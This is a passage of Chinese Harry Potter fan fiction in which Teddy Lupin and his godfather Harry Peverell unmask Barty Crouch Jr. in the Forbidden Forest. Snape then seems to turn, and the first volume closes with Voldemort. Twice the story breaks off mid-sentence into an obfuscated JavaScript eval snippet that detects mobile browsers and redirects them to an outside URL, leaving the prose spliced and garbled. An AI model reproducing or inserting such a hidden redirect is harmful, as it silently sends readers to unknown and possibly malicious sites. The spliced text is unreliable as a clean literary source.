“没有,佩弗利尔教授给了我们很有用的建议,对吧泰迪?”罗恩得意地朝泰迪扬眉,泰迪只能在一旁苦笑。“但福灵剂时间只能持续两三个小时,我们再不回去就会失效的。”他提醒道。 诺伯被平安送走显然让海格放下心中大石,他摆出一副正经的表情,“泰迪说得没错,你们是该——” 骤忽之间,禁林里传来凄厉的悲鸣声,惊起一群飞鸟。海格循声望去,但禁林里漆黑幽深,光从外面看不出任何端倪。他神色凝重起来,粗厚的声音有点紧张,“我去看看发生了什么事,你们快点回去格兰芬多塔。”他回屋里带上巨大的石弓,又吹了声口哨,一只尾巴缠着绷带的大猎狗应声跑了过来,“牙牙,我们走。” 孩子们面面相觑。 不久,禁林里再次响起一声巨响,不过这次是海格的怒吼。 “你们以为自己在干什么!我不是叫你们回去吗?”海格暴躁地挥着拳头,“马上离开这里!现在!” 小哈利无辜地摊开手,“可我们都进来这么里面了,万一出去时我们遇到什么——” 海格的脸刷的青了,他恼火地一挥手,“好吧,都跟紧我,小心不要掉队了!” 达到目的的小哈利和罗恩欢呼起来,见他们击掌庆祝,赫敏无奈地对泰迪抱怨,“我居然会跟着他们乱来,我看我也快疯了。” “可以预见的结果。”泰迪耸耸肩。 带上一串小尾巴的海格为了照应他们,只能放慢脚步,边侧耳细听,边注意周围的动静。 越是深入禁林内部,里面的树 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穿过茂密的灌木丛后,前面一片空地豁然开朗。 他惊讶地睁大双眼。 入目的是另一具独角兽的尸体,而摔倒在它旁边喘着粗气的是—— “德拉科?”在这种地方都能遇到马尔福·德拉科,这让泰迪觉得不可思议到极点。 “卢平。”德拉科惨白着脸,似乎并不奇怪泰迪的到来。 “你怎么在这里?” “我……跟在你们后面。” “你该不会是打算告发我们吧?”泰迪眯起眼睛。 德拉科不自然地咳了声。 “这只独角兽——” “我来的时候它就已经死了。” 闻言,泰迪不疑有他,向德拉科伸出手。 “这里不安全,我们最好快点去和海格他们汇合。” 德拉科拉住他的手,星星隐没了。 一切都来得那么急。猛烈的晕眩感,蜂拥而上的记忆片段,熟悉的黑暗——总算明白了,长久以来的那股怪异感究竟来自何处。 泰迪没有用劲把他拉起来,黯森森的月光映在他空白的脸上,最后他松开了手。 “怎么了?卢平?”德拉科问。 “你是谁?” 仿佛他问了个可笑蹩脚的问题,德拉科低声笑了。 “我是德拉科·马尔福啊。” 泰迪直直地盯着他,视线慢慢移到德拉科垂在一旁的左手。他瞥见他的手,看上去就像涂满蓝色的颜料。 “你手里拿着什么?”泰迪语调很冷静,可微微发颤的嘴唇出卖了他。 “这个?”德拉科把左手举高了些,嘴角掀起一抹神经质的笑容,慢条斯理地说,“以前没见过吗?独角兽心脏的结晶。它们心脏一旦惊恐状态下被挖离身体就会结晶化,成为世上最纯净、同时又布满罪孽的结晶。” 阴冷的话语就如同毒蛇般紧紧缠住泰迪的心脏。 他得逃!但身体犹如被下了个定身咒,动弹不得。 “泰迪!你在哪里做什么?”灌木丛后传来小哈利悉悉索索、拨开枝叶的声响,“那是谁——” 这一刻,泰迪的勇气战胜了恐惧。 “别过来!” “阿瓦达索命!” 随之是重物倒下的闷响声。 德拉科手里的魔杖优雅地指向泰迪的心口。泰迪浑身冰冷地瞪着他。 “你……做了什么?” “为了防止他去通风报信,我不得不让他安静一下。”德拉科咧开嘴狞笑,他现在看上去一点也不马尔福。“卢平,是你自己不好。你看见了不该看见的东西。” “我很好奇,你是怎么知道我不是德拉科·马尔福的?” 泰迪缓缓摇头,完全没有回答他的欲望。他无意识地往后退了一步,知道以自己的实力就算掏出魔杖也于事无补。但无论如何,他都必须逃离这里,他得警告海格他们,还有确认小哈利的安危。泰迪心里有个声音在疯狂地祈祷,千万别出事,千万别出事!忽然,一双温暖有力的手从后面搭在他的肩上,泰迪先是惊得心颤肉跳,可很快的,他骚乱的心情平静下来,想哭的冲动抑制不住地往上涌。是哈利。 “我也很好奇,你是什么时候开始假扮成他的?小巴蒂·克劳奇。” 26. 真真假假 小巴蒂·克劳奇苍白的脸混杂着古怪的神色,“你给我带来太多惊讶了,佩弗利尔。” 这句话等于默认了哈利的猜测,但他并没有因为被揭穿而显出任何惊慌。不等哈利回答,他镇定自若地站起身,带着丝满意的神情小心翼翼把手中的心脏结晶放入长袍口袋里,又随手拍拍身上的灰。很奇怪的是,他身旁独角兽的血流了一地,却不见他长袍上沾染半分。 而趁着这个当口,哈利俯身把嘴凑近泰迪耳边,低声说,“那个哈利没事。你先回去灌木林后面,那里有人接应你,看到他也别害怕。他会送你们离开禁林的。” “那么哈利你呢?”泰迪仰头看他,眼里是满满的担忧。 哈利对他笑笑,“我应付得过来。你不相信自己的教父吗?”他信手抚乱泰迪的头发,在他背后推了一把,“快走!别回头。” 即使得到信誓旦旦的保证,但说不担心是骗人的。不过泰迪也清楚自己现在除了拉后腿根本帮不上一点忙,只能一边懊恼自己的无用,边咬紧牙关头也不敢回地往灌木林后冲去。 首先入目的是晕倒在地的小哈利,再走几步,他看到了那个接应他的人。泰迪本来以为会是海格,可他猜错了。 那是一个马人。泰迪曾在书上读到过,但如此近距离接触还是第一次。 眼前的马人用蹄子轻轻刨着地上的土,双眼如湛澈的蓝宝石,并拥有一头白金色的短发,以及长着银鬃毛的马身及马尾。 看到泰迪一脸呆滞地愣在原地,马人动作优美地走过来仔细端详他,“你就是多出来的另一颗星星。你的名字?” “泰迪·卢平。”泰迪略带困惑地回答道,显然听不懂他那句莫名其妙却似乎处处透着奥秘的话里的含义。但马人也没有解释的打算,“我叫费伦泽。带上那个男孩,你们最好尽快回去霍格沃兹的城堡,今晚的森林——”他仰头望着天空,“特别不安全。” 这点泰迪倒是很赞同。他吃力地把小哈利扶起来,两手支撑他的身体,让他的头搭在自己肩上。马人看看他,忽然走近把身体放低,“把他放到我身上,我们能动作快点。” “可是。”泰迪有些踌躇,他曾在书上看过马人并不喜被人类当马骑。费伦泽看出他的顾虑,浅浅一笑,“你们是不同的。行星的运行预示着这一点。” 尽管还是听不明白费伦泽的话,但泰迪相信费伦泽是出于好意,便不再犹豫把小哈利横放在他背上。 “我们走吧,记得跟紧我。”见泰迪点头,费伦泽的眼睛再次仰望天空,以神秘的语气微微叹道,“今天的火星和土星靠得太近了。” …… 哈利看着泰迪的背影彻底消失在灌木丛后,终于是舒了口气。本来今天他不大放心泰迪他们,就偷偷在泰迪身上加了个跟踪咒。结果发现他们居然进入了禁林,有种不好预感的他立时动身从后追了进来,并正好看到泰迪识破马尔福伪装的一幕。 想想刚才小巴蒂·克劳奇假扮的马尔福面不改心不跳地便给小哈利一个阿瓦达,哈利便是一阵后怕。若不是福灵剂的效果还没完全消退,让小哈利绊了一脚,再加上躲在树后的哈利反应敏捷地补了个昏昏倒地让小哈利顺势倒下避开夺命咒,恐怕“过去的他”就得挺尸在禁林里了。而生怕泰迪也会遭到同样的对待,哈利也不再躲下去,干脆直接现出身影。 短短几秒钟,哈利脑子里转过数个念头。等他再次把视线转向小克劳奇时,对方早已好整以暇地对着他似笑非笑。对于小克劳奇,哈利自然不会给予什么好脸色,他冷冷地说,“我还以为你会趁着泰迪离开时偷袭。” “本来我自然是不希望这里发生的事会惊动任何成年巫师,至少不是现在。但既然你已经在这里了,杀了他也无济于事。何况——”在确认哈利身边并没有别的援手后,小克劳奇神色自若地说,“你会让我这么做吗?应该说,在你面前,我恐怕讨不了好。” 哈利不动声色地回道,“你真是看得起我。” “不是我看得起你,哈利·佩弗利尔。你这人全身是谜,而且强大,我不得不更谨慎些。”小克劳奇如今饶有兴致地打量着哈利,“你到底是谁?” “我以为我已经教了你快一个学期的黑魔法防御课了?” “所以才说我看不清你。”小克劳奇缓缓地说,“在来到霍格沃兹教书前,你的出身、履历一概不明。卢平也和你一样,我故意不露声色地接近他,可惜他嘴巴也牢得很,套不出什么有用的信息。就像是——某一天,你和你的教子凭空出现在英国这个国家。” 哈利眼皮颤动了一下,但他很快就把内心的震撼巧妙地掩饰住,“这么说来你一直在调查我?你还真有闲心。” “可以假设我之前不过是杞人忧天,但难道现在还不足以让我提高警惕吗?”小克劳奇嗤笑道,“我喝的复方汤剂还没失效,你就已经猜出了我是谁。” 说了半天还是绕回了原点,哈利隐隐松了口气,他不想在自己的来历问题上和小克劳奇纠缠下去。虽然他本就打定主意要抓住他,但若是有个万一…… 他可不想让伏地魔那么早注意到自己的存在。 “我以前在对角巷见过你一次,上次泰迪又在城堡里碰到过你,我一听他的描述就想起你是谁了。只是没想到你假扮成德拉科·马尔福而已。”哈利也不急,最好是能和小克劳奇耗到泰迪他们搬救兵过来——他不是对自己的能力没信心,只是小克劳奇异常冷静的态度让他有些不安。“不,其实我早该想到了,毕竟有过前车之鉴。”他最后自嘲似的补充一句。 小克劳奇挑起眉毛,显然对哈利最后的话感到莫名,但他神态上并未表现出来,“我不记得我以前认识你。” “只要我认识你就够了。”哈利当然不能说自己四年级的时候就曾被他算计得很惨,“当时你估计正忙着抢古灵阁呢,哪有时间注意我?” 脸色顿时凝重起来,小克劳奇低沉着声音说,“你想说什么?” “难道从古灵阁偷走魔法石,并顺便带走赫奇帕奇的杯子的不是你吗?”哈利故作惊讶地问。 小克劳奇死死地瞪着哈利,最后长长嘘了口气。 “佩弗利尔,你给自己找了条死路。” “正好,反正我也不打算让你逃走。”哈利淡淡一笑,“不过我还有满肚子的问题,实在是不问不快。你到底是什么时候开始假扮成德拉科·马尔福的?” “那很重要吗?” “自然,我还想知道缇瓦之链是不是你偷的,你又是怎么找到拉文克劳的王冕的——” 哈利随手扔下几个炸尾螺,顿时把小克劳奇炸懵了,好一会儿,他摸了摸手腕处,眼中透出危险的光,“我还是小看了你,你知道得比我想象中的要多得多。而且,你对我们的事,似乎很熟悉不是吗?” “谢谢。”哈利礼貌十足地欠了欠身,“毕竟我的专职就是对付黑魔法啊。” 对于哈利轻描淡写地带过去,小克劳奇不禁冷哼道,“准确来说,入学那天起德拉科·马尔福就不是德拉科·马尔福了。” 闻言,哈利脸色变了变。“伏地魔已经和马尔福家接触了?” 小克劳奇瞥了他一眼,没有正面回答这个问题,“他们并不知道德拉科被掉包了。” “那真正的德拉科·马尔福在哪里?” “估计还在马尔福庄园的地牢里做着美梦,那里已经被荒废了好几十年,不会有人发现的。我在他脸上涂了些易容用的药水,效果可以持续一年。只有脸变了个样,当然不能和复方汤剂相比,但也足以瞒过愚蠢的家养小精灵了。我让它们监视他,并定期给我送来他的头发和制作复方汤剂所需要的魔药材料。当然,家养小精灵们以为它们服侍的仍是马尔福家的少爷就是了。” “也就是说入学那天是你偷的缇瓦之链。”哈利猜测道。谁知小克劳奇却是摇了摇头。 “缇瓦之链不是我偷的。我不过是做了点小手脚,放人进来偷罢了。” 哈利一怔,随后露出恍然的神情。 “那么拉文克劳的王冕呢?” “说到这个,我倒是得好好谢谢卢平了,否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156364|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则我还没这么快能找到。” “泰迪遇见的是没有伪装的你。”哈利指出。 “没错,万圣节那天晚宴前我忘了及时喝药,于是便对高尔和克拉布两个用了夺魂咒,让他们给我打掩护。没想到还是被卢平撞见了。”小克劳奇的语气稍微有点疑惑,“他那几天看到我的态度都怪怪的,我还以为我哪里出了差错。他太敏锐了,现在想来,大概跟这次发现我不是马尔福也有着什么关系吧。”说到这里,他耸耸肩,裂开了嘴,“还好,拜他所赐,才幸运地让我看到了厄里斯魔镜。” “真是神奇的魔镜,谣传说它不能告诉别人知识。可想想吧,它却让我看到一直在寻找的拉文克劳王冕原来就在有求必应室里。”小克劳奇又摸了摸自己的袖口里面,眼里闪着和那时一样奇异的光芒。 “那么,你明明已经得到王冕,却还在圣诞节后回来霍格沃兹,就是为了独角兽的心脏?” “你怎么知道我在圣诞节把王冕交给黑魔王的?” “你可以一开始就先来禁林。”哈利无视了他的问题。 小克劳奇用看白痴的眼神看着哈利,“你是在指导我该怎么做?可惜黑魔王自有他自己的安排,不是你我这样的人可以妄测的。” “我明白了。”哈利脸上掠过一丝不屑。如果眼前伏地魔的忠实追随者得知高高在上的黑魔王也曾经被人玩弄于鼓掌,不知会不会变得更疯狂。 “你的问题问完了?佩弗利尔教授。”小克劳奇表现得有如刚回答完高难度问题而得意洋洋等着教授表扬的学生。 “我想是的。”哈里则露出职业性的教师微笑,“回答得挺全面的,斯莱特林加十分。” “真是劳您费心了。我们开始吧。”小克劳奇把魔杖指向哈利,哈利也拔出了魔杖,“巫师决斗?不错的主意。” 几乎是在须臾之间,哈利和小克劳奇同时发出两束红光。 摔倒在地上的是小巴蒂·克劳奇。 哈利现今的魔力远超于他,或者可以说,远远凌驾于绝大多数成年巫师。可惜小克劳奇并不知道这一点,不自量力的结果就是才一个回合就被打飞了魔杖。 第一次,小克劳奇流露出几分惊愕,哈利冷冷地注视着他想去摸手腕的手。 “别摸你的手腕了,可以带你逃离这里的东西——”哈利从自己的口袋里掏出一块看上去破破旧旧的手表,手表的两根指针都正正停在12点处,“是这个吧。” 看到手表的一刹那,小克劳奇的瞳孔缩小了,“为什么——” “你该不会以为我在摸清楚它的功能后还会随便扔在办公室的抽屉里随你偷?”哈利走前几步,居高临下地说,“我怀疑是那天我潜入湖底的时候被你看到了吧?所以你知道它在我这里,早就打定主意来偷了不是么。可惜,你漏算了一步。”别小看他当傲罗的那几年,他可不会像某个只会乱喷毒汁的所谓魔药大师,自己的魔药材料不会看管好,被偷了也不知道还会怀疑错人。 见小克劳奇的眼睛不老实地往四周瞟,哈利说,“想逃?可我只看到你在困兽犹斗。” “是吗?”出乎意料的,小克劳奇狞笑道。 “除你武器!手表飞来!”伴随着忽然出现的阴沉声音,魔杖和手表划出优雅的抛物线,哈利手上如今空无一物了。 “斯内普?”哈利震惊地看着从树林旁边快步走出、一把拉起小克劳奇的斯内普,失控地提高嗓音,“这不可能!” “是你一厢情愿地认为不可能吧,佩弗利尔。”小克劳奇从斯内普手中接过他的魔杖,形势彻底倒转了。 “你当他是朋友,但斯内普可一直是我们这边的人。虽然我前几天才重新确认他对黑魔王的忠诚。” 哈利沉下脸,“所以你即使被我揭穿那么多也还是不慌不忙肯陪着我一起拖延时间,算准了他会来救你?” “宾果。”小克劳奇打了个响指,又拍拍斯内普的肩,“西弗勒斯,杀了他。黑魔王会为你的回归而感到欣慰的。” 一言不发,斯内普举起了魔杖。 27. 明与暗 霍格沃兹特快列车上,同一车厢的几个孩子围绕着即将开始的假期的话题谈笑风生。车窗外飞驰而过的乡村景色还没有满桌的零食来得吸引人。 “没想到马尔福居然一路来都是个冒牌货。”小哈利嘴里嚼着巧克力蛙,手里拿着一包比比多味豆拆起来,“也不知道真的马尔福怎么样了。我居然和一个食死徒斗嘴了整整一年!” “亏你还能满不在乎地提起他。要不是泰迪和佩弗利尔教授,你那天就没命了!”罗恩回想起当天的惊险就不有自主地打了个寒噤。“我爸爸跟我说过,那是最恶毒的死咒!” 赫敏双手交叉在胸前,摆出思考的姿势,“真难相信食死徒居然敢明目张胆地假扮学生混入霍格沃兹,而且是在邓布利多校长的眼皮底下!禁林里到底有什么是他需要的呢?”她转向上火车以来就盯着车窗外的泰迪,“佩弗利尔教授他们后来有抓住他吗?” 泰迪注视着霍格沃兹的城堡被群山彻底挡在后面,沉默片刻后才开口,“哈利没告诉我。” “这么说来,等会儿佩弗利尔教授会在站台接你吗?”罗恩忽然问。 泰迪猛然转回头来,哼了声,忿忿地说,“他没说过!我看他大概早就忘了我,和工作结婚去了。” 罗恩他们头上都滴下几滴冷汗,但见泰迪随之变得失落的样子也不敢多追问。罗恩用手肘推了小哈利一下,后者立刻开始滔滔不绝地公布他的假期计划,泰迪自然是一句也没听进去。 自那晚哈利把他们都安顿在医疗室后,他好像就开始忙得不可开交、脚不沾地的。泰迪从没在课外见到过他的踪影,虽然他自己的课外时间也都拿去劳动服务了——为了惩罚他们擅自跑进禁林甚至还遇到危险,扣分自然也是免不了的。 但即使是上课时间,哈利也往往是匆匆而来又匆匆离去,更别提找个单独相处的机会了。他的考试成绩和赫敏并列第一也找不到人去分享喜悦,因为哈利甚至连年终宴会也缺席了。泰迪注意到,位置空缺的还有一个,那是斯内普的座位。 其实他并不感到奇怪——罗恩他们对这次事件的态度是不以为然的,尤其是他和赫敏并没有亲身体验过那种恐怖。可相比下知道一些内幕的泰迪很清楚,食死徒的再度出现极有可能预示着伏地魔的卷土重来已迫在眉睫。如此想来,哈利一心扑在上面也是无可厚非的。毕竟哈利,他的教父就是那样的人。即使抛去救世主的身份,他仍是会主动揽起那份责任。 泰迪对哈利的行为充满理解。 他只是—— 有点小小的寂寞和不满而已。 “泰迪,说真的,要是佩弗利尔教授不来接你,你自己一个人怎么回家?”赫敏的脸上透露出担忧,罗恩和小哈利也停下往嘴里塞零食的动作扭头看过来,他们都听泰迪说过他的家在某个偏僻的山谷里。 三个朋友的关心反而使泰迪心中的怨念感增加不少,就在他张口想赌气说自己干脆走回去之际,车窗外面传来砰砰的敲击声。 他们向外看去,一团灰色的小毛球正忽隐忽现,如同在窗玻璃上弹跳般,不屈不挠地重复着撞过来后被弹开又接着撞的过程。 “那是什么?”罗恩诧异地问。 赫敏眯眼看了会儿,“是只小猫头鹰。” 泰迪已经眼明手快地拉下车窗,正好再度尝试撞窗的小家伙一头栽了进来,以恰好的角度冲进罗恩的怀里,小脑袋往温暖的地方蹭了蹭,干脆装死不动了。 “它怎么会跑进我们车厢呢?”罗恩小心翼翼捧起毛绒绒的小猫头鹰,一边抚平它那被风吹得凌乱不堪的细绒毛,一边仔细观察它灰褐色的羽毛及密布全身的白色斑点,最后兴奋地得出结论,“嘿,这是一只花头鸺鹠!难怪这么小!” 但没有人对他这边的情形感兴趣,因为泰迪手里正拿着封信——小猫头鹰冲进来的瞬间,这封信不偏不倚地掉在泰迪的膝上。 “是哈利的信!”快乐的情绪像气球一样迅速膨胀起来,泰迪不用等旁边的人催促就自发把信的内容念了出来。 亲爱的泰迪, 很抱歉今天不能去车站接你,我必须外出办一件事,很重要的公事。具体内容是什么我不能告诉你,因为涉及到一些机密,这也是我最近忙得焦头烂额的原因。我不清楚到底需要多久时间才能办妥,可以肯定的是假期的前一两个星期我都没法回家。 考虑到我们家特殊的地理位置,况且我也不放心丢你一个人在家里没人照顾,所以前几天我已经写了封信给韦斯莱夫人(其实我一直有和她通信),请她在这段日子里照顾你。韦斯莱夫人非常热心地答应了,我想罗恩应该也不会介意你去他家玩一阵子吧。 总之,我会尽快赶回来的,我不在的期间要自己注意安全。(当然,我想“陋居”是足够安全的。) 爱你的, 哈利 又及:送信的这只猫头鹰以后会是属于罗恩的,作为他失去宠物的赔礼。 再又及:别尝试去蜘蛛巷找斯内普,他也不会在家的。 泰迪念完这封信,满怀期待地看着嘴巴已经固定成O型的罗恩。 “这简直是——太棒了!”罗恩好不容易迸出这句话,出乎众人意料,他把小猫头鹰递到泰迪的面前,“伙计,你要不要先摸摸它?” 立刻明白他意图的泰迪忍不住噗嗤一声笑了,“罗恩,哈利不会送个阿尼玛格斯给你的。”旁边的赫敏抿嘴偷笑,而小哈利捧着肚子喘不过起来,把比比多味豆撒了满地。 在咀嚼并理解了泰迪话里的意思后,罗恩终于欢呼起来,“我有一只新宠物了!是只猫头鹰!假期更好玩了,泰迪会到我们家住!”小猫头鹰也很应景地扇着翅膀上上下下到处乱蹦,最后飞到罗恩红头发上欢快地啼叫了好几声。 泰迪心满意足地把信折好收进口袋里,“这样就够了。” …… “妈妈!罗恩他们出来了!” 当泰迪几个好不容易从狭窄的检票口回到国王十字车站,金妮那孩童特有的尖叫声立刻引来周围不少乘客的回头,罗恩一把捂住自己的脸,小哈利同情地拍拍他的肩膀。 “别大声嚷嚷,金妮。还有别使劲拉我!”韦斯莱夫人严厉地说,可她眼里却含着笑,“我看到他们了!” “这一年过得不错吧?”在罗恩逐个介绍自己的伙伴后,她温和地看着几个孩子,“我假设你们还挺忙的?” “是的,韦斯莱夫人。”泰迪对她微笑,“谢谢您送给我和哈利的圣诞礼物,我们都非常喜欢。” “那没什么大不了的,亲爱的。”韦斯莱夫人望着他的目光满是慈爱,“哈利已经和我说过了,欢迎你来我们家玩。我们家的房子不大,但会很热闹的。虽然哈利不能过来实在是个遗憾。” 此时双胞胎和珀西也挤出了检票口向他们走来,赫敏找到自己的父母,匆匆相互介绍后便先走一步离开车站。 “记得暑假时候来我家玩!”罗恩远远地冲着她的背影喊道,“我会派——”他指指停在肩上眼珠子滴溜溜转的灰褐色猫头鹰,“来邀请你的!”赫敏回过头摆摆手,韦斯莱夫人不客气地在罗恩脑袋瓜上拍了一下,“嫌我们还不够引人注目吗?这只猫头鹰是哪来的?该不会是偷——” “这是佩弗利尔教授送给我的!”罗恩把小猫头鹰护在怀里,不耐烦地挥掉他妈妈的手。 “嘿,爸爸!妈妈!这里!”一直东张西望的小哈利朝远处猛地一阵挥手,面带笑容走过来一个黑发的男人及金红色长卷发的女人——是詹姆斯和莉莉。 韦斯莱夫人热情地招呼道,“啊,好久不见了,詹姆斯,莉莉。” “你好,莫莉。”波特夫妇回以她微笑。“亚瑟没有来?” “没来。”韦斯莱夫人怨气满满地说,“伯维恩偷偷在家里装了部掉话——” “是电话,莫莉。”莉莉在一旁纠正。 “没错,就是那个电话。他不知道施了什么魔法,他家电话铃声从早响到晚,施静音咒也没用,亚瑟一早就跑去处理这件事了。”韦斯莱夫人显然很不满意自己的丈夫只要是听到有关麻瓜物品的事就会屁颠屁颠得把家人都抛到脑后。 家长们很快就熟络地攀谈起来,罗恩和小哈利则完全是一副目瞪口呆的样子。 看出他们的疑惑,韦斯莱夫人解释道,“亚瑟和詹姆斯都在魔法部工作,虽然所处的部门平时没什么联系,但彼此还是认识的。” 可惜赫敏已经先行离开了,但小哈利还是骄傲地把自己另外两个好友介绍给自己的父母。 对于罗恩,詹姆斯和莉莉只是礼节性地向他微笑点头,毕竟罗恩标志性的红头发早就让他们猜到他是谁的孩子。他们的目光,更多是停留在不怎么吭声的泰迪身上——詹姆斯是若有所思,莉莉则是惊奇中透着些好奇。 “你们好,先生、夫人。”泰迪拘谨但十分有礼貌地说道。詹姆斯他曾经见过几面,倒是莉莉还是头一回。她和哈利同样拥有绿宝石般明亮的眼睛。对他来说,那是哈利的眼睛。 “你好,泰迪。”詹姆斯不自在地清了清喉咙,视线在周围游移,“佩弗利尔教授呢?我还想就上次的事和他道声谢。” “呃——哈利他——” 泰迪正犹豫着该如何回答,小哈利抢过了话头,“佩弗利尔教授有事不能来,泰迪会暂时住到罗恩他家。”又不禁对罗恩抱怨道,“我也想泰迪来我家玩,罗恩你家那么多兄弟,我家就我一个多无聊啊。佩弗利尔教授怎么就没想到我呢?” 众人都被小哈利犹如怨妇般的埋怨逗得大笑,唯独他犹自不觉得自己的话哪里好笑了,还在锲而不舍地争取着,“把泰迪让给我吧,伙计!” “在此之前,我想和你先算算学校里闯祸的帐。”詹姆斯满脸笑容插了一句。小哈利僵住了,连带着罗恩也蔫了。韦斯莱夫人正瞪着他呢。 两人的窝囊样让泰迪干笑了两声,随之目光却黯淡起来。 “哈利,你在哪里呢? … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156365|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 那是一幢阴森灰暗的房子,年深月久的墙砖细缝处横七竖八地冒出许多杂草,墙面的浮雕已被雨水腐蚀得看不出原来的花纹。花园里光秃秃的,只剩下七零八落的几棵枯树,尽是残枝枯叶——乍一看去便是荒废已久的古老宅邸。 穿着长长黑斗篷的两个巫师走在如洞穴般幽深的走廊上,他们在走廊的尽头停下,走在前头的巫师略一踌躇,轻轻推开面前脱漆的门,率先走了进去。 壁炉里只剩下一丁点随时可能熄灭的火星,从被木板封死的窗户缝间偷偷渗进来的几丝月光更是平添了几分死寂感。整个房间安静得异常,平常喜欢盘踞在那人脚下发出嘶嘶声响的纳吉尼今天却不见了踪影。 巫师低下那藏在兜帽里的脸,对着壁炉方向低声唤道。 “我的主人……” 坐在扶手椅上的人被完全笼罩在阴影之下,看不清他的面目,隐隐约约仿佛有两点红光在闪烁。潮湿、腐烂的气味在空气中萦绕,但这一切都不及围绕在那人身边的森冷气息来得强烈。 “为什么不走近些,巴蒂。你在犹豫什么?”冷漠的声音响起。 不敢动作再有所迟疑,小克劳奇脱下兜帽,露出削瘦而苍白的脸,立即上前跪地亲吻伏地魔黑袍的下摆。然后他退后两步,毕恭毕敬地说,“主人,您要的东西我带回来了。” 一只干瘦得如同枯枝般的手伸到小克劳奇的面前,他迅速从斗篷底下掏出黑色的盒子放上去。那细长的手再度伸回去的时候,阴暗的光线使小克劳奇产生种错觉,那只手似乎浸满了鲜红。 啪嗒一声,盒子被打开了。小克劳奇惴惴不安地等待在旁,尽管他相信放置在里面的银蓝色结晶绝对能让伏地魔满意的。果不出其然,冰冷的声音再次传来。 “做得很好。” “谢谢您的夸奖,主人。”小克劳奇鞠了一躬,“没有什么困难能拦住我为您效力的决心。” 毫无预兆的,一股冲击力闯入他的体内,小克劳奇的身体猛然一震,纷淆的记忆片段在脑海里蜂拥而上,他很快意识到伏地魔正在对他用摄神取念,便放下所有防备,任由伏地魔疯狂地扫视他的记忆。 “哼,果然还是被那只该死的老蜜蜂发现了。”不过片刻,伏地魔便读取了小克劳奇在禁林里的所有记忆。虽然他们的行动有所暴露,可伏地魔的语气还是透露出事情的进展仍在他掌握之中。小克劳奇听到他喃喃自语,“不过这回他可没有哈利·波特这么好用的棋子在手,想要对付我可没有那么容易啊,邓布利多。” 哈利·波特这个名字令小克劳奇的身体轻微颤动了一下,但正沉溺在默想里的伏地魔没有察觉这微妙的异常。 “主人……不知……您为什么会需要这些东西?”小克劳奇斗胆问了下一秒就让他后悔不已的问题。因为瞬间他就觉得犹如整个人浸在冬天的湖水里,寒冷彻骨。 “我闻到了越俎代庖的臭味。巴蒂,如果你不能认清自己所处的位置,我必须得说我对你十分失望。你的忠诚,动摇了吗?”伏地魔淡淡地说。 小克劳奇剧烈颤抖起来,他哆嗦着乞求道,“是……是我多事了,主人……饶恕我吧!” 显然伏地魔并不打算轻易放过他——他清楚地看到伏地魔举起魔杖。 “钻心剜骨!” 发出痛苦的惨叫声,小克劳奇瘫倒在地,他尽量蜷缩起身子,全身的肌肉都在叫嚣,全身的骨头都在燃烧,这种非人的折磨不管承受多少次都是难以忍受的。 撕心裂肺的疼痛仿佛无止无尽,每一分每一秒都显得那么难熬,突然,折磨停止了。 “起来吧,不要妄求我宽恕你,但愿你的忠诚经得住考验,不会再犯下今天这种愚蠢的行径。”伏地魔冷酷的声音在小克劳奇头上响起。 “我发誓,主人……”他挣扎着从地上爬起来,浑身都被大片大片的冷汗浸湿了。本就苍白的脸如今更显病态,他微微俯身,“我的主人,这次我还给您带回来另一个发誓永远效忠您的奴仆。” “我应该说过,我现在不希望接触别的食死徒。除了个别忠于我的朋友,其余的都在外面逍遥快活,恐怕早已忘了我们的理想,忘了我这个主人的存在不是吗?” “哦,请您别这么说,主人。可是他不同——他可以带给我们巨大的帮助——” 伏地魔久久没有作出答复。直到窗外骤然传来乌鸦的凄厉鸣叫,打破屋里死灭的寂静,伏地魔才终于开口,“你说得不错,至少若非他出手,你大概就会栽在邓布利多手里了。让他进来吧。” “是,主人。”小克劳奇松了口气,退后去打开那扇门,在伏地魔看不到的角度和站在门外的人迅速交换了一个眼色,慢慢地退到一侧。 踏着月光黯淡的影子缓步而入的,是把冷意尽数收敛在空洞面具下的斯内普。 “欢迎你回来,我忠诚的朋友——西弗勒斯。” 第一部《陌生1991》(完)第二部《冥想回廊》待续 29. 灵魂铸造 时间已趋近凌晨三点,但肖像中的老校长们佯装打盹的同时一个个都竖起了耳朵,偷听着校长室里进行的交谈。 “看来他也不知道伏地魔到底在盘算什么。”哈利厌恶地看了某个角落一眼,那里躺着被施了昏迷咒的小克劳奇。“亏我花那么多心思去抓他。” 斯内普丢给他一个嘲弄的眼神,“而且还大费周章演了出拙劣的戏码,本以为波特难得有动用智商的时候,一无所获的结果证明了我不应对波特抱有任何乐观的情绪。” “说得好像你早就知道似的。”哈利狠狠地瞪回去,“怎么不见你提点更有建设性的主意?” “我光是为了确保你和那几个胆大包天的小鬼没在禁林里把自己撞死就已经竭尽全力了。”斯内普干巴巴地回答,多少带着点讥讽的意味。 眼看哈利又要被惹毛了,邓布利多适时地清了清喉咙,“咳咳,虽然年轻人吵吵嘴也会增进感情——”他的话引来另两人不约而同的怒视,“不过别把自己绷得太紧,来点蟑螂堆吧。” 斯内普眉头都不皱一下,只当没听见。倒是哈利反常地抓了几个扔进嘴里——平时他可是对邓布利多奇怪的甜食嗜好敬而远之的。 味道还行。哈利心不在焉地想,努力遗忘嘴里咀嚼的玩意看上去有多恶心。 